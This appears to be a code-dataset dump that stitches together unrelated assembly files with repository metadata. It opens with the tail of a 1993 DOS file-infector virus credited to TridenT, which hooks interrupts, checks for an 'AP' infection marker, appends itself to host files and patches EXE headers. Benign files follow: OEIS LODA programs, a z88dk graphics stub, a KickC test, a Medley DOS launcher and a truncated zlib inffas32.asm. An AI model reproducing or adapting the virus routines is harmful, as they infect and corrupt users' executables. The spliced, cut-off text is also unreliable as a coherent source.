ah,3fh mov cx,18h lea dx,[head_exe] call do_int21h call inf_exe call save_date jmp close_file ;************************************************************************** ;* * ;* R O U T I N E S * ;* * ;************************************************************************** get_ip: push sp ; get ip from stack pop bx mov ax, word ptr cs:[bx] mov bp,ax ret init: mov cs:[fout],00h call int24h call open_file jc error call set_atributes call get_date call chk_infect je error ret error: mov cs:[fout],0ffh ret int24h: push cs pop ds mov ax,3524h call do_int21h mov cs:[i24h],bx mov cs:[i24h+2],es mov dx, offset mine_i24h mov ax,2524h call do_int21h ret mov_point: push cs pop ds mov bx,cs:[handle] xor cx,cx xor dx,dx call do_int21h ret open_file: mov ds,cs:[name_seg] mov dx,cs:[name_off] mov ax,3d02h call do_int21h mov cs:[handle],ax mov bx,ax ret set_atributes: mov ax,4200h mov ds,cs:[name_seg] mov dx,cs:[name_off] call do_int21h and cl,0feh mov ax,4301h call do_int21h ret get_date: mov bx,cs:[handle] mov ax,5700h call do_int21h mov cs:[date],dx mov cs:[time],cx ret chk_infect: push cs pop ds mov ax,4202h xor cx,cx sub cx,01h xor dx,dx sub dx,02h mov bx,cs:[handle] call do_int21h mov ah,3fh mov cx,02h lea dx,cs:[file_id] call do_int21h mov al, byte ptr cs:[file_id] mov ah, byte ptr cs:[file_id]+1 cmp ax,[virus_id] ret write_jmp: push cs pop ds mov ax,4200h call mov_point mov ah,40h mov cx,01h lea dx,cs:[jump] call do_int21h mov ah,40h mov cx,02h lea dx,cs:[lenght_file] call do_int21h ret write_vir: push cs pop ds mov ax,4202h call mov_point mov ah,40h mov cx,len mov dx,103h call do_int21h ret save_date: mov ax,5700h call do_int21h mov cs:[date],dx mov cs:[time],cx ret inf_exe: mov ax,word ptr cs:[head_exe+14h] mov cs:[exe_ip],ax mov ax, word ptr cs:[head_exe+16h] mov cs:[exe_cs],ax mov ax,4200h call mov_point mov ax,4202h call mov_point mov bx,10h div bx sub ax, word ptr cs:[head_exe+08h] mov cs:[new_cs],ax mov cs:[new_ip],dx call write_vir mov ax,4200h call mov_point mov ax,4202h call mov_point mov bx,0200h div bx cmp dx,0000h jne not_zero jmp zero not_zero: inc ax zero: mov word ptr cs:[head_exe+02h],dx mov word ptr cs:[head_exe+04h],ax mov ax,cs:[new_ip] mov word ptr cs:[head_exe+14h],ax mov ax,cs:[new_cs] mov word ptr cs:[head_exe+16h],ax mov word ptr cs:[head_exe+0Eh],ax add word ptr cs:[head_exe+10],len_para ; mov word ptr cs:[head_exe+10],1000 mov ax,4200h call mov_point mov ah,40h mov bx,cs:[handle] mov cx,18h lea dx,cs:[head_exe] call do_int21h ret do_int21h: pushf call dword ptr cs:[i21h] ret ;**************************************************************************** ;* * ;* D A T A * ;* * ;**************************************************************************** type_host db 'C' com_start db 0cdh,20h,90h message db " Dedicated to Ritzen, our Minister of Education and Science." db " We are getting sick of your budget cuts so we hope that" db " you get sick of this virus.." db " (c) '93 by S.A.R. / TridenT ." exe_cs dw ? exe_ip dw ? new_cs dw ? new_ip dw ? vir_seg dw ? i21h dw 00h,00h i24h dw 00h,00h name_seg dw ? name_off dw ? lenght_file dw ? head_exe db 18 dup (?) handle dw ? fout db ? file_id dw ? jump db 0e9h date dw ? time dw ? segm dw ? virus_id dw "AP" last dw "AP" end dummy
17.754032
78
0.525891
2b41a430425f97d3c42e9a584cd917c88b9fd080
370
asm
Assembly
oeis/126/A126725.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/126/A126725.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/126/A126725.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A126725: a(1)=0, a(2)=1; for n>2, a(n) = C(n,2)*(1+a(n-2)). ; Submitted by Christian Krause ; 0,1,3,12,40,195,861,5488,31032,247005,1706815,16302396,133131648,1483518127,13978823145,178022175360,1901119947856,27237392830233,325091511083547,5175104637744460,68269217327545080,1195449171318970491 add $0,1 seq $0,87214 ; Expansion of e.g.f.: exp(x)/(1-x^2/2). sub $0,1
46.25
202
0.737838
2b74f798db2efcd905eee5e23416080ff912d3af
843
asm
Assembly
libsrc/graphics/circle_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
38
2021-06-18T12:56:15.000Z
2022-03-12T20:38:40.000Z
libsrc/graphics/circle_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
2
2021-06-20T16:28:12.000Z
2021-11-17T21:33:56.000Z
libsrc/graphics/circle_callee.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
6
2021-06-18T18:18:36.000Z
2021-12-22T08:01:32.000Z
; ; Z88 Graphics Functions - Small C+ stubs ; ; Written around the Interlogic Standard Library ; ; Stubs Written by D Morris - 30/9/98 ; ; ; $Id: circle_callee.asm $ ; ; Usage: circle(int x, int y, int radius, int skip); SECTION code_graphics PUBLIC circle_callee PUBLIC _circle_callee PUBLIC ASMDISP_CIRCLE_CALLEE EXTERN draw_circle EXTERN plotpixel EXTERN swapgfxbk EXTERN __graphics_end .circle_callee ._circle_callee pop af pop de ; skip pop bc ;radius ld d,c pop bc ; y pop hl ; x ld b,l push af push ix .asmentry ld ix,plotpixel call swapgfxbk call draw_circle jp __graphics_end DEFC ASMDISP_CIRCLE_CALLEE = asmentry - circle_callee
15.90566
54
0.591934
239df370d1ddc6bb044e7c3342985dc26e4a1d32
1,136
asm
Assembly
programs/oeis/335/A335876.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/335/A335876.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/335/A335876.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A335876: a(1) = 2, and for n > 1, a(n) = n + (n/p), where p is largest prime dividing n, A006530(n). ; 2,3,4,6,6,8,8,12,12,12,12,16,14,16,18,24,18,24,20,24,24,24,24,32,30,28,36,32,30,36,32,48,36,36,40,48,38,40,42,48,42,48,44,48,54,48,48,64,56,60,54,56,54,72,60,64,60,60,60,72,62,64,72,96,70,72,68,72,72,80,72,96,74,76,90,80,84,84,80,96,108,84,84,96,90,88,90,96,90,108,98,96,96,96,100,128,98,112,108,120,102,108,104,112,120,108,108,144,110,120,114,128,114,120,120,120,126,120,126,144,132,124,126,128,150,144,128,192,132,140,132,144,140,136,162,144,138,144,140,160,144,144,154,192,150,148,168,152,150,180,152,160,162,168,160,168,158,160,162,192,168,216,164,168,180,168,168,192,182,180,180,176,174,180,200,192,180,180,180,216,182,196,186,192,190,192,198,192,216,200,192,256,194,196,210,224,198,216,200,240,204,204,210,216,210,208,216,224,220,240,212,216,216,216,220,288,224,220,222,240,234,228,224,256,270,228,228,240,230,240,252,240,234,252,240,240,240,252,240,288,242,264,324,248,280,252,260,256,252,300 mov $1,1 mov $2,$0 mov $3,$0 mov $4,$0 lpb $2,1 mov $1,$0 add $1,1 gcd $1,$4 sub $4,$1 mov $2,$4 lpe add $1,1 add $1,$3
66.823529
901
0.680458
045290a12d0f38a7612de84d8ce94859a100fcf8
637
asm
Assembly
src/test/ref/cstyle-decl-var.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
2
2022-03-01T02:21:14.000Z
2022-03-01T04:33:35.000Z
src/test/ref/cstyle-decl-var.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
src/test/ref/cstyle-decl-var.asm
jbrandwood/kickc
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
[ "MIT" ]
null
null
null
// Test declarations of variables without definition // Commodore 64 PRG executable file .file [name="cstyle-decl-var.prg", type="prg", segments="Program"] .segmentdef Program [segments="Basic, Code, Data"] .segmentdef Basic [start=$0801] .segmentdef Code [start=$80d] .segmentdef Data [startAfter="Code"] .segment Basic :BasicUpstart(main) // The actual declarations .label SCREEN = $400 .segment Code // And a little code using them main: { // SCREEN[idx++] = 'c' lda #'c' sta SCREEN // SCREEN[idx++] = 'm' lda #'m' sta SCREEN+1 // SCREEN[idx++] = 'l' lda #'l' sta SCREEN+2 // } rts }
23.592593
66
0.635793
0f86d36daa80ddbebcf3c88f4e37b594227391b8
13,342
asm
Assembly
bin/launch.asm
moon-chilled/maiko
f2aa1fb49049c3ec97499995303ee953f6792742
[ "MIT" ]
null
null
null
bin/launch.asm
moon-chilled/maiko
f2aa1fb49049c3ec97499995303ee953f6792742
[ "MIT" ]
null
null
null
bin/launch.asm
moon-chilled/maiko
f2aa1fb49049c3ec97499995303ee953f6792742
[ "MIT" ]
null
null
null
;************************************************************************ ;* * ;* l a u n c h . a s m * ;* * ;* This is the launcher for Medley on DOS. It: * ;* * ;* * Looks for and validates any -m memsize argument on the * ;* command line. Only values in the range 8 - 32 are allowed. * ;* * ;* * Loads the real Medley emulator, emul.exe, from the same * ;* directory that the launcher came from. * ;* * ;* * Sets the Intel DOS Extender's profile to the requested * ;* memory size + 3Mb (to allow for the emulator, internal * ;* data areas, etc.) * ;* * ;* * Set the termination address in the child process's PSP, * ;* so control returns to the launcher when Medley terminates. * ;* * ;* * Jumps to the emulator's start address. * ;* * ;* * Upon return, just terminates cleanly. * ;* * ;* [We could perhaps do some diagnosis here of error returns?] * ;* * ;* * ;* * ;************************************************************************ ;************************************************************************/ ;* */ ;* (C) Copyright 1993, 1994 Venue. All Rights Reserved. */ ;* Manufactured in the United States of America. */ ;* */ ;************************************************************************/ .model small .386p .stack 100h .data align 8 ;******************************************************** ;* Parameter block for INT 214B, that loads medley.exe * ;******************************************************** envseg DW 0 ; environment (0 = copy mine) cmdip DW ? ; command-line-tail pointer cmdcs DW ? fcb1 DD ? ; dummy first FCB to fill in fcb2 DD ? ; " 2nd FCB, not here in DOS 4.01??? stk DD ? ; SS:SP for emul.exe, filled in by loader csip DD ? ; start addr for emul.exe, filled in by loader retad DD FAR PTR myret ; cs:ip return address, to put in ; child PSP, so we get control back. ;* Error messages, misc strings, and work areas* align 8 memval dd 0 errstg DB 'ERROR: Couldn''t free excess storage.',13,10,'$' noload db 'ERROR: Loading emulator failed: $' loaded db 'LOAD SUCCESSFUL.',13,10,'$' nominfo db 'ERROR: -m must be followed by a number 8 - 64.',13,10,'$' badexe db 'ERROR: emul.exe is corrupted.',13,10,'$' emulpath DB 'emul.exe',0 ; name of the real emulator. mflag db '-m' ; to search for -m/-M in cmd line mmflag db '-M' profile db 'PRO' ; to find the DOS extender profile cmdline db 128 dup (?) ; hold the cmd line tail for real emulator ;* Error-message table for failures loading emul.exe align 2 errtbl dw OFFSET ng0msg ; 0 = unknown failure dw OFFSET ng1msg ; 1 = "invalid function" dw OFFSET ng2msg ; 2 = file not found dw OFFSET ng3msg ; 3 = path not found dw OFFSET ng4msg ; 4 = too many open files dw OFFSET ng5msg ; 5 = access denied dw OFFSET ng0msg ; 6 = not possible error dw OFFSET ng0msg ; 7 = not possible error dw OFFSET ng8msg ; 8 = insufficient storage dw OFFSET ng0msg ; 9 = not possible dw OFFSET ngamsg ; A = bad environment dw OFFSET ngbmsg ; B = bad format (corrupt .exe?)a ng0msg db 'Unknown problem',13,10,'$' ng1msg db 'Invalid Function',13,10 db 'Make sure you are running DOS 4.0 or later.',13,10,'$' ng2msg db 'File not found.',13,10 db 'CD to proper directory, or set PATH.',13,10,'$' ng3msg db 'Path not found.',13,10 db 'CD to proper directory, or set PATH.',13,10,'$' ng4msg db 'Too many files open.',13,10 db 'Shut down some TSRs that have file open?',13,10,'$' ng5msg db 'Access denied.',13,10 db 'Make sure of your access rights to emul.exe?',13,10,'$' ng8msg db 'Not enough memory.',13,10 db 'Shut down some TSR applications?',13,10,'$' ngamsg db 'Environment corrupt.',13,10 db 'Check using SET; You may need to re-boot.',13,10,'$' ngbmsg db 'EXE file corrupted.',13,10,'$' db 'You may need to restore from backup or re-install.',13,10,'$' .code ;************************************************************************ ;* * ;* M A C R O S * ;* * ;* prints Given a string ptr in DX, print it to the display. * ;* * ;* kill Exit cleanly, using INT 21/4C * ;* * ;************************************************************************ prints macro text mov dx, OFFSET text mov ah,9 int 21h endm kill macro mov ah,4ch int 21h endm ;************************************************************************ ;* * ;* M A I N E N T R Y * ;* * ;* * ;* * ;* * ;* * ;************************************************************************ PUBLIC main main PROC NEAR mov ax,ds ; Save memory-block start for freeing mov es,ax ; excess memory in a bit. mov ax,@data ; DS points to start of data segment mov ds,ax mov cmdcs, ax ; Copy the command line for the emulator mov cmdip, OFFSET cmdline mov di, OFFSET cmdline mov cx,128 mov bx,es mov dx,ds mov es,dx mov ds,bx mov si,80h rep movsb mov es,bx ; Free the excess memory that DOS gives mov ds,dx ; us (we need it for the emulator) mov ax,4a00h mov bx,090h ; We only need 900h bytes for this program int 21h jnc freeok prints errstg ; Couldn't free spare space; punt. kill ;************************************************ ;* Search the command line for -m or -M * ;************************************************ freeok: mov di,81h ; start of command line tail mov si, OFFSET mflag mov cx, 2 mov bx,81h add bl,es:[80h] m1lp: call strcmp je fndm add di, 1 cmp di, bx jl m1lp mov di,81h ; start of command line tail mov si, OFFSET mmflag m2lp: call strcmp je fndm add di, 1 cmp di, bx jl m2lp mov memval,02400000h ; memory value not set--use 35MB total. jmp doload fndm: add di,2 ; Found "-m". Now look for a number cmp di,bx ; (Make sure it's not end of line) jnl nogoodm ok1: mov edx, 0 ; Holds the memory-requirement value mov ax,0 ; holds characters as we read ;************************************************ ;* Skip over spaces/tabs before any number * ;************************************************ skiplp: mov al, es:[di] inc di cmp al, 20h ; spaces je skiplp cmp al, 09h ; tabs je skiplp cmp di,bx ; make sure we're still in the string jle cnvst ; Yup, we've got the first char, so enter ; the conversion loop part-way down. nogoodm: prints nominfo ; no arg to -m, or it's bad; Punt. kill ;******************************************************** ; Convert the numeric argument to -m; result in edx. * ;******************************************************** cnvlp: mov al,es:[di] add di, 1 cnvst: cmp al, 30h jl endcnv cmp al, 39h jg endcnv sub al, 30h imul dx, 10 add dx, ax jmp cnvlp endcnv: cmp edx,0 ; if still 0, no valid chars! je nogoodm cmp edx, 8 ; must be in the range [8, 32] jl nogoodm cmp edx,64 jg nogoodm add edx, 3 ; add 3mb for data areas, etc, and sal edx, 20 ; convert to megabytes mov memval, edx ; save memory requested ;************************************************ ;* Load the real emulator .EXE file, emul.exe * ;************************************************ doload: mov dx, OFFSET emulpath mov ax, seg envseg mov es, ax mov bx, OFFSET envseg mov ax,4b01h ; load-don't-start int 21h jnc loadok add ax,ax mov si,ax prints noload mov bx,OFFSET errtbl mov dx,ds:[bx+si] mov ah,9 int 21h kill loadok: ; Load succeeded. mov ah,51h ; get PSP address for child int 21h mov es, bx ; get segment for DI addressing ; mov cx,128 ; copy the command line tail ; mov di,80h ; (which appears to be flaky in DOS 4) ; mov si, offset cmdline ; rep ; movsb mov eax,retad mov dword ptr es:[+0ah], eax ; set up return address. cmp memval, 0 ; If no -m value given, just je dorun ; go start the emulator. mov di,0 ; Search for the Intel Extender's PROFILE mov si, OFFSET profile ; (see extender.h) mov cx, 3 ; (length is 3 bytes) srchlp: call strcmp je gotprof ; found the profile; fix it. add di, 1 cmp di, 2048 jle srchlp prints badexe ; No extender profile, so the emulator kill ; EXE must be corrupt. Punt. gotprof: mov eax,memval ; Fill in the memory requirement. mov es:[di+1bch], eax ;******************************************************** ;* * ;* Set up the stack seg/pointer & start medley. * ;* * ;******************************************************** dorun: lss sp,stk ; load stack SS & SP regs mov ax, es ; copy PSP ptr to ax & ds, since some mov bx, ds ; code expects it in both places. mov fs,bx ; Also, copy DS to FS, so we still have mov ds,ax ; a base for the indirect jump . . . jmp fs:[csip] ; to start-of-medley. myret: kill ; we get back here, so quit gracefully. main endp ;************************************************************************/ ;* */ ;* s t r c m p */ ;* */ ;* Compare [ds]di and es:[si] for (CX) characters. If the */ ;* strings are equal, the Zero flag is set when this returns. */ ;* */ ;* All registers are preserved. */ ;* */ ;************************************************************************/ strcmp proc near cld push di push si push cx repe cmpsb pop cx pop si pop di ret strcmp endp END
37.268156
83
0.379553
f630a84dd124a1065a8424408dcfb1f794b69e89
176
asm
Assembly
programs/oeis/085/A085600.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/085/A085600.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/085/A085600.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A085600: Number of simple graphs with 3 edges on n vertices. ; 0,0,1,3,4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5 mov $1,5 lpb $1,1 sub $1,4 div $1,2 add $1,$0 lpe
17.6
62
0.585227
ac03912d37c28e0b4ed2f65bba850500af71badb
16,397
asm
Assembly
code/zlib-1.2.11/contrib/masmx86/inffas32.asm
skrtbhtngr/presto
21392e80b3a1ffce5fd3ce206025962e9dfa00c6
[ "Apache-2.0" ]
null
null
null
code/zlib-1.2.11/contrib/masmx86/inffas32.asm
skrtbhtngr/presto
21392e80b3a1ffce5fd3ce206025962e9dfa00c6
[ "Apache-2.0" ]
null
null
null
code/zlib-1.2.11/contrib/masmx86/inffas32.asm
skrtbhtngr/presto
21392e80b3a1ffce5fd3ce206025962e9dfa00c6
[ "Apache-2.0" ]
null
null
null
;/* inffas32.asm is a hand tuned assembler version of inffast.c -- fast decoding ; * ; * inffas32.asm is derivated from inffas86.c, with translation of assembly code ; * ; * Copyright (C) 1995-2003 Mark Adler ; * For conditions of distribution and use, see copyright notice in zlib.h ; * ; * Copyright (C) 2003 Chris Anderson <christop@charm.net> ; * Please use the copyright conditions above. ; * ; * Mar-13-2003 -- Most of this is derived from inffast.S which is derived from ; * the gcc -S output of zlib-1.2.0/inffast.c. Zlib-1.2.0 is in beta release at ; * the moment. I have successfully compiled and tested this code with gcc2.96, ; * gcc3.2, icc5.0, msvc6.0. It is very close to the speed of inffast.S ; * compiled with gcc -DNO_MMX, but inffast.S is still faster on the P3 with MMX ; * enabled. I will attempt to merge the MMX code into this version. Newer ; * versions of this and inffast.S can be found at ; * http://www.eetbeetee.com/zlib/ and http://www.charm.net/~christop/zlib/ ; * ; * 2005 : modification by Gilles Vollant ; */ ; For Visual C++ 4.x and higher and ML 6.x and higher ; ml.exe is in directory \MASM611C of Win95 DDK ; ml.exe is also distributed in http://www.masm32.com/masmdl.htm ; and in VC++2003 toolkit at http://msdn.microsoft.com/visualc/vctoolkit2003/ ; ; ; compile with command line option ; ml /coff /Zi /c /Flinffas32.lst inffas32.asm ; if you define NO_GZIP (see inflate.h), compile with ; ml /coff /Zi /c /Flinffas32.lst /DNO_GUNZIP inffas32.asm ; zlib122sup is 0 fort zlib 1.2.2.1 and lower ; zlib122sup is 8 fort zlib 1.2.2.2 and more (with addition of dmax and head ; in inflate_state in inflate.h) zlib1222sup equ 8 IFDEF GUNZIP INFLATE_MODE_TYPE equ 11 INFLATE_MODE_BAD equ 26 ELSE IFNDEF NO_GUNZIP INFLATE_MODE_TYPE equ 11 INFLATE_MODE_BAD equ 26 ELSE INFLATE_MODE_TYPE equ 3 INFLATE_MODE_BAD equ 17 ENDIF ENDIF ; 75 "inffast.S" ;FILE "inffast.S" ;;;GLOBAL _inflate_fast ;;;SECTION .text .586p .mmx name inflate_fast_x86 .MODEL FLAT _DATA segment inflate_fast_use_mmx: dd 1 _TEXT segment ALIGN 4 db 'Fast decoding Code from Chris Anderson' db 0 ALIGN 4 invalid_literal_length_code_msg: db 'invalid literal/length code' db 0 ALIGN 4 invalid_distance_code_msg: db 'invalid distance code' db 0 ALIGN 4 invalid_distance_too_far_msg: db 'invalid distance too far back' db 0 ALIGN 4 inflate_fast_mask: dd 0 dd 1 dd 3 dd 7 dd 15 dd 31 dd 63 dd 127 dd 255 dd 511 dd 1023 dd 2047 dd 4095 dd 8191 dd 16383 dd 32767 dd 65535 dd 131071 dd 262143 dd 524287 dd 1048575 dd 2097151 dd 4194303 dd 8388607 dd 16777215 dd 33554431 dd 67108863 dd 134217727 dd 268435455 dd 536870911 dd 1073741823 dd 2147483647 dd 4294967295 mode_state equ 0 ;/* state->mode */ wsize_state equ (32+zlib1222sup) ;/* state->wsize */ write_state equ (36+4+zlib1222sup) ;/* state->write */ window_state equ (40+4+zlib1222sup) ;/* state->window */ hold_state equ (44+4+zlib1222sup) ;/* state->hold */ bits_state equ (48+4+zlib1222sup) ;/* state->bits */ lencode_state equ (64+4+zlib1222sup) ;/* state->lencode */ distcode_state equ (68+4+zlib1222sup) ;/* state->distcode */ lenbits_state equ (72+4+zlib1222sup) ;/* state->lenbits */ distbits_state equ (76+4+zlib1222sup) ;/* state->distbits */ ;;SECTION .text ; 205 "inffast.S" ;GLOBAL inflate_fast_use_mmx ;SECTION .data ; GLOBAL inflate_fast_use_mmx:object ;.mem_usage inflate_fast_use_mmx, 4 ; 226 "inffast.S" ;SECTION .text ALIGN 4 _inflate_fast proc near .FPO (16, 4, 0, 0, 1, 0) push edi push esi push ebp push ebx pushfd sub esp,64 cld mov esi, [esp+88] mov edi, [esi+28] mov edx, [esi+4] mov eax, [esi+0] add edx,eax sub edx,11 mov [esp+44],eax mov [esp+20],edx mov ebp, [esp+92] mov ecx, [esi+16] mov ebx, [esi+12] sub ebp,ecx neg ebp add ebp,ebx sub ecx,257 add ecx,ebx mov [esp+60],ebx mov [esp+40],ebp mov [esp+16],ecx ; 285 "inffast.S" mov eax, [edi+lencode_state] mov ecx, [edi+distcode_state] mov [esp+8],eax mov [esp+12],ecx mov eax,1 mov ecx, [edi+lenbits_state] shl eax,cl dec eax mov [esp+0],eax mov eax,1 mov ecx, [edi+distbits_state] shl eax,cl dec eax mov [esp+4],eax mov eax, [edi+wsize_state] mov ecx, [edi+write_state] mov edx, [edi+window_state] mov [esp+52],eax mov [esp+48],ecx mov [esp+56],edx mov ebp, [edi+hold_state] mov ebx, [edi+bits_state] ; 321 "inffast.S" mov esi, [esp+44] mov ecx, [esp+20] cmp ecx,esi ja L_align_long add ecx,11 sub ecx,esi mov eax,12 sub eax,ecx lea edi, [esp+28] rep movsb mov ecx,eax xor eax,eax rep stosb lea esi, [esp+28] mov [esp+20],esi jmp L_is_aligned L_align_long: test esi,3 jz L_is_aligned xor eax,eax mov al, [esi] inc esi mov ecx,ebx add ebx,8 shl eax,cl or ebp,eax jmp L_align_long L_is_aligned: mov edi, [esp+60] ; 366 "inffast.S" L_check_mmx: cmp dword ptr [inflate_fast_use_mmx],2 je L_init_mmx ja L_do_loop push eax push ebx push ecx push edx pushfd mov eax, [esp] xor dword ptr [esp],0200000h popfd pushfd pop edx xor edx,eax jz L_dont_use_mmx xor eax,eax cpuid cmp ebx,0756e6547h jne L_dont_use_mmx cmp ecx,06c65746eh jne L_dont_use_mmx cmp edx,049656e69h jne L_dont_use_mmx mov eax,1 cpuid shr eax,8 and eax,15 cmp eax,6 jne L_dont_use_mmx test edx,0800000h jnz L_use_mmx jmp L_dont_use_mmx L_use_mmx: mov dword ptr [inflate_fast_use_mmx],2 jmp L_check_mmx_pop L_dont_use_mmx: mov dword ptr [inflate_fast_use_mmx],3 L_check_mmx_pop: pop edx pop ecx pop ebx pop eax jmp L_check_mmx ; 426 "inffast.S" ALIGN 4 L_do_loop: ; 437 "inffast.S" cmp bl,15 ja L_get_length_code xor eax,eax lodsw mov cl,bl add bl,16 shl eax,cl or ebp,eax L_get_length_code: mov edx, [esp+0] mov ecx, [esp+8] and edx,ebp mov eax, [ecx+edx*4] L_dolen: mov cl,ah sub bl,ah shr ebp,cl test al,al jnz L_test_for_length_base shr eax,16 stosb L_while_test: cmp [esp+16],edi jbe L_break_loop cmp [esp+20],esi ja L_do_loop jmp L_break_loop L_test_for_length_base: ; 502 "inffast.S" mov edx,eax shr edx,16 mov cl,al test al,16 jz L_test_for_second_level_length and cl,15 jz L_save_len cmp bl,cl jae L_add_bits_to_len mov ch,cl xor eax,eax lodsw mov cl,bl add bl,16 shl eax,cl or ebp,eax mov cl,ch L_add_bits_to_len: mov eax,1 shl eax,cl dec eax sub bl,cl and eax,ebp shr ebp,cl add edx,eax L_save_len: mov [esp+24],edx L_decode_distance: ; 549 "inffast.S" cmp bl,15 ja L_get_distance_code xor eax,eax lodsw mov cl,bl add bl,16 shl eax,cl or ebp,eax L_get_distance_code: mov edx, [esp+4] mov ecx, [esp+12] and edx,ebp mov eax, [ecx+edx*4] L_dodist: mov edx,eax shr edx,16 mov cl,ah sub bl,ah shr ebp,cl ; 584 "inffast.S" mov cl,al test al,16 jz L_test_for_second_level_dist and cl,15 jz L_check_dist_one cmp bl,cl jae L_add_bits_to_dist mov ch,cl xor eax,eax lodsw mov cl,bl add bl,16 shl eax,cl or ebp,eax mov cl,ch L_add_bits_to_dist: mov eax,1 shl eax,cl dec eax sub bl,cl and eax,ebp shr ebp,cl add edx,eax jmp L_check_window L_check_window: ; 625 "inffast.S" mov [esp+44],esi mov eax,edi sub eax, [esp+40] cmp eax,edx jb L_clip_window mov ecx, [esp+24] mov esi,edi sub esi,edx sub ecx,3 mov al, [esi] mov [edi],al mov al, [esi+1] mov dl, [esi+2] add esi,3 mov [edi+1],al mov [edi+2],dl add edi,3 rep movsb mov esi, [esp+44] jmp L_while_test ALIGN 4 L_check_dist_one: cmp edx,1 jne L_check_window cmp [esp+40],edi je L_check_window dec edi mov ecx, [esp+24] mov al, [edi] sub ecx,3 mov [edi+1],al mov [edi+2],al mov [edi+3],al add edi,4 rep stosb jmp L_while_test ALIGN 4 L_test_for_second_level_length: test al,64 jnz L_test_for_end_of_block mov eax,1 shl eax,cl dec eax and eax,ebp add eax,edx mov edx, [esp+8] mov eax, [edx+eax*4] jmp L_dolen ALIGN 4 L_test_for_second_level_dist: test al,64 jnz L_invalid_distance_code mov eax,1 shl eax,cl dec eax and eax,ebp add eax,edx mov edx, [esp+12] mov eax, [edx+eax*4] jmp L_dodist ALIGN 4 L_clip_window: ; 721 "inffast.S" mov ecx,eax mov eax, [esp+52] neg ecx mov esi, [esp+56] cmp eax,edx jb L_invalid_distance_too_far add ecx,edx cmp dword ptr [esp+48],0 jne L_wrap_around_window sub eax,ecx add esi,eax ; 749 "inffast.S" mov eax, [esp+24] cmp eax,ecx jbe L_do_copy1 sub eax,ecx rep movsb mov esi,edi sub esi,edx jmp L_do_copy1 cmp eax,ecx jbe L_do_copy1 sub eax,ecx rep movsb mov esi,edi sub esi,edx jmp L_do_copy1 L_wrap_around_window: ; 793 "inffast.S" mov eax, [esp+48] cmp ecx,eax jbe L_contiguous_in_window add esi, [esp+52] add esi,eax sub esi,ecx sub ecx,eax mov eax, [esp+24] cmp eax,ecx jbe L_do_copy1 sub eax,ecx rep movsb mov esi, [esp+56] mov ecx, [esp+48] cmp eax,ecx jbe L_do_copy1 sub eax,ecx rep movsb mov esi,edi sub esi,edx jmp L_do_copy1 L_contiguous_in_window: ; 836 "inffast.S" add esi,eax sub esi,ecx mov eax, [esp+24] cmp eax,ecx jbe L_do_copy1 sub eax,ecx rep movsb mov esi,edi sub esi,edx L_do_copy1: ; 862 "inffast.S" mov ecx,eax rep movsb mov esi, [esp+44] jmp L_while_test ; 878 "inffast.S" ALIGN 4 L_init_mmx: emms movd mm0,ebp mov ebp,ebx ; 896 "inffast.S" movd mm4,dword ptr [esp+0] movq mm3,mm4 movd mm5,dword ptr [esp+4] movq mm2,mm5 pxor mm1,mm1 mov ebx, [esp+8] jmp L_do_loop_mmx ALIGN 4 L_do_loop_mmx: psrlq mm0,mm1 cmp ebp,32 ja L_get_length_code_mmx movd mm6,ebp movd mm7,dword ptr [esi] add esi,4 psllq mm7,mm6 add ebp,32 por mm0,mm7 L_get_length_code_mmx: pand mm4,mm0 movd eax,mm4 movq mm4,mm3 mov eax, [ebx+eax*4] L_dolen_mmx: movzx ecx,ah movd mm1,ecx sub ebp,ecx test al,al jnz L_test_for_length_base_mmx shr eax,16 stosb L_while_test_mmx: cmp [esp+16],edi jbe L_break_loop cmp [esp+20],esi ja L_do_loop_mmx jmp L_break_loop L_test_for_length_base_mmx: mov edx,eax shr edx,16 test al,16 jz L_test_for_second_level_length_mmx and eax,15 jz L_decode_distance_mmx psrlq mm0,mm1 movd mm1,eax movd ecx,mm0 sub ebp,eax and ecx, [inflate_fast_mask+eax*4] add edx,ecx L_decode_distance_mmx: psrlq mm0,mm1 cmp ebp,32 ja L_get_dist_code_mmx movd mm6,ebp movd mm7,dword ptr [esi] add esi,4 psllq mm7,mm6 add ebp,32 por mm0,mm7 L_get_dist_code_mmx: mov ebx, [esp+12] pand mm5,mm0 movd eax,mm5 movq mm5,mm2 mov eax, [ebx+eax*4] L_dodist_mmx: movzx ecx,ah mov ebx,eax shr ebx,16 sub ebp,ecx movd mm1,ecx test al,16 jz L_test_for_second_level_dist_mmx and eax,15 jz L_check_dist_one_mmx L_add_bits_to_dist_mmx: psrlq mm0,mm1 movd mm1,eax movd ecx,mm0 sub ebp,eax and ecx, [inflate_fast_mask+eax*4] add ebx,ecx L_check_window_mmx: mov [esp+44],esi mov eax,edi sub eax, [esp+40] cmp eax,ebx jb L_clip_window_mmx mov ecx,edx mov 